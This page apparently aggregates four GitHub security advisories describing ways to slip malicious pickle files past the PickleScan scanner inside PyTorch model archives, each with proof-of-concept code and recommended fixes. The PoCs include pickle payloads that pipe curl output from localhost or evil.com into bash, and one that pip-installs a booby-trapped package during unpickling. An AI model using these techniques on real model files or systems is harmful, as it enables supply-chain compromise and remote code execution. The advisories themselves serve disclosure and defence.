Where
-Infinity
0
Severity
9.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

PickleScan fails to detect malicious pickle files inside PyTorch model archives when certain ZIP file flag bits are modified. By flipping specific bits in the ZIP file headers, an attacker can embed malicious pickle files that remain undetected by PickleScan while still being successfully loaded by PyTorch's torch.load(). This can lead to arbitrary code execution when loading a compromised model.

Details

PickleScan relies on Python’s zipfile module to extract and scan files within ZIP-based model archives. However, certain flag bits in ZIP headers affect how files are interpreted, and some of these bits cause PickleScan to fail while leaving PyTorch’s loading mechanism unaffected.

By modifying the flagbits field in the ZIP file entry, an attacker can:

- Embed a malicious pickle file (badfile.pkl) in a PyTorch model archive. - Flip specific bits (e.g., 0x1, 0x20, 0x40) in the ZIP metadata. - Prevent PickleScan from scanning the archive due to errors raised by zipfile. - Successfully load the model with torch.load(), which ignores the flag modifications.

This technique effectively bypasses PickleScan's security checks while maintaining model functionality.

PoC import os import zipfile import torch from picklescan import cli

def canscan(zipfile): try: cli.printsummary(False, cli.scanfilepath(zipfile)) return True except Exception: return False

bittoflip = 0x1 # Change to 0x20 or 0x40 to test different flag bits

zipfile = "model.pth" model = {'a': 1, 'b': 2, 'c': 3} torch.save(model, zipfile)

with zipfile.ZipFile(zipfile, "r") as source: flippedname = f"flipped{bittoflip}{zipfile}" with zipfile.ZipFile(flippedname, "w") as dest: badfile = zipfile.ZipInfo("model/badfile.pkl") # Modify the ZIP flag bits badfile.flagbits |= bittoflip dest.writestr(badfile, b"bad content") for item in source.infolist(): dest.writestr(item, source.read(item.filename))

if model == torch.load(flippedname, weightsonly=False): if not canscan(flippedname): print('Found exploitable bit:', bittoflip) else: os.remove(flippedname)

Impact

Severity: High

- Who is impacted? Any organization or user relying on PickleScan to detect malicious pickle files inside PyTorch models. - What is the impact? Attackers can embed malicious pickle payloads inside PyTorch models that evade PickleScan's detection but still execute upon loading. - Potential Exploits: This vulnerability could be exploited in machine learning supply chain attacks, allowing attackers to distribute backdoored models on platforms like Hugging Face or PyTorch Hub.

Recommendations

- Improve ZIP Handling: PickleScan should use a more relaxed ZIP parser marches on when encountering modified flag bits. - Scan All Embedded Files Regardless of Flags: Ensure that files with altered metadata are still extracted and analyzed.

By addressing these issues, PickleScan can provide stronger protection against manipulated PyTorch model archives.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

PickleScan is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch's more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.

Details

Python's built-in zipfile module performs strict integrity checks when extracting ZIP files. If a filename stored in the ZIP header does not match the filename in the directory listing, zipfile.ZipFile.open() raises a BadZipFile error. PickleScan relies on zipfile to extract and inspect the contents of PyTorch model archives, making it susceptible to this manipulation.

PyTorch, on the other hand, has a more tolerant ZIP handling mechanism that ignores these discrepancies, allowing the model to load even when PickleScan fails. An attacker can exploit this behavior to embed a malicious pickle file inside a model archive, which PyTorch will load, while preventing PickleScan from scanning the archive.

PoC import os import torch

class RemoteCodeExecution: def reduce(self): return os.system, (f"eval \"$(curl -s http://localhost:8080)\"",)

model = RemoteCodeExecution() file = "doesnotscanbutopensintorch.pth" torch.save(model, file)

modify the header to cause the zip file to raise execution in picklescan with open(file, "rb") as f: data = f.read()

Replace only the first occurrence of "data.pkl" with "datap.kl" modifieddata = data.replace(b"data.pkl", b"datap.kl", 1)

Write back the modified content with open(file, "wb") as f: f.write(modifieddata)

Load the infected model torch.load(file)

Impact

Severity: High

- Who is impacted? Any organization or individual using PickleScan to detect malicious pickle files in PyTorch models.

- What is the impact? Attackers can embed malicious payloads inside PyTorch model archives while preventing PickleScan from scanning them.

- Potential Exploits: This technique can be used in supply chain attacks to distribute backdoored models via platforms like Hugging Face.

Recommendations

- Use a More Tolerant ZIP Parser: PickleScan should handle minor ZIP header inconsistencies more gracefully instead of failing outright.

- Detect Malformed ZIPs: Instead of crashing, PickleScan should log warnings and attempt to extract valid files.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVE-2025-1889

Summary

Picklescan fails to detect hidden pickle files embedded in PyTorch model archives due to its reliance on file extensions for detection. This allows an attacker to embed a secondary, malicious pickle file with a non-standard extension inside a model archive, which remains undetected by picklescan but is still loaded by PyTorch's torch.load() function. This can lead to arbitrary code execution when the model is loaded.

Details

Picklescan primarily identifies pickle files by their extensions (e.g., .pkl, .pt). However, PyTorch allows specifying an alternative pickle file inside a model archive using the picklefile parameter when calling torch.load(). This makes it possible to embed a malicious pickle file (e.g., config.p) inside the model while keeping the primary data.pkl file benign.

A typical attack works as follows:

- A PyTorch model (model.pt) is created and saved normally. - A second pickle file (config.p) containing a malicious payload is crafted. - The data.pkl file in the model is modified to contain an object that calls torch.load(model.pt, picklefile='config.p'), causing config.p to be loaded when the model is opened. - Since picklescan ignores non-standard extensions, it does not scan config.p, allowing the malicious payload to evade detection. - The issue is exacerbated by the fact that PyTorch models are widely shared in ML repositories and organizations, making it a potential supply-chain attack vector.

PoC import os import pickle import torch import zipfile from functools import partial

class RemoteCodeExecution: def reduce(self): return os.system, ("curl -s http://localhost:8080 | bash",)

Create a directory inside the model os.makedirs("model", existok=True)

Create a hidden malicious pickle file with open("model/config.p", "wb") as f: pickle.dump(RemoteCodeExecution(), f)

Create a benign model model = {} class AutoLoad: def init(self, path, kwargs): self.path = path self.kwargs = kwargs

def reduce(self): # Use functools.partial to create a partially applied function # with torch.load and the picklefile argument return partial(torch.load, self.path, self.kwargs), ()

model['config'] = AutoLoad(modelname, picklefile='config.p', weightsonly=False) torch.save(model, "model.pt")

Inject the second pickle into the model archive with zipfile.ZipFile("model.pt", "a") as archive: archive.write("model/config.p", "model/config.p")

Loading the model triggers execution of config.p torch.load("model.pt")

Impact

Severity: High

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.

What is the impact? Attackers can embed malicious code in PyTorch models that remains undetected but executes when the model is loaded.

Potential Exploits: This vulnerability could be exploited in supply chain attacks, backdooring pre-trained models distributed via repositories like Hugging Face or PyTorch Hub.

Recommendations

1. Scan All Files in the ZIP Archive: picklescan should analyze all files in the archive instead of relying on file extensions. 2. Detect Hidden Pickle References: Static analysis should detect torch.load(picklefile=...) calls inside data.pkl. 3. Magic Byte Detection: Instead of relying on extensions, picklescan should inspect file contents for pickle magic bytes (\x80\x05). 4. Block the following globals: - torch.load - Block functools.partial

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVE-2025-1716

Summary An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.

Details Pickle’s deserialization process allows execution of arbitrary functions via the reduce method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.

The payload executes the following steps:

1. During unpickling, it calls pip.main() to install a malicious PyPI package. 2. The installed package runs arbitrary code via setup.py, entrypoints, or post-install hooks. 3. Execution is silent, with minimal logging to avoid detection.

PoC

Step 1: Create the Malicious Package Host a PyPI package with a malicious setup.py or entrypoint.

Example malicious setup.py from setuptools import setup import os

os.system("curl -s https://evil.com/payload.sh | bash") # Executes remote shell script

setup( name="rsac-demo-package", version="0.1", packages=["rsacdemo"], installrequires=[], ) Upload it to PyPI or host on GitHub.

Step 2: Exploit via Pickle import pickle import pip

class Exploit: def reduce(self): return pip.main, ( ['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q', '--exists-action', 'i', '--isolated'], )

maliciouspickle = pickle.dumps(Exploit())

Simulating deserialization attack pickle.loads(maliciouspickle) This installs a malicious package from GitHub or PyPI. The payload runs automatically when unpickled, executing any code inside the installed package leveraging the setup.py file.

Impact Remote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. Bypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.

Recommended Fixes Add "pip": "" to the list of unsafe globals

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203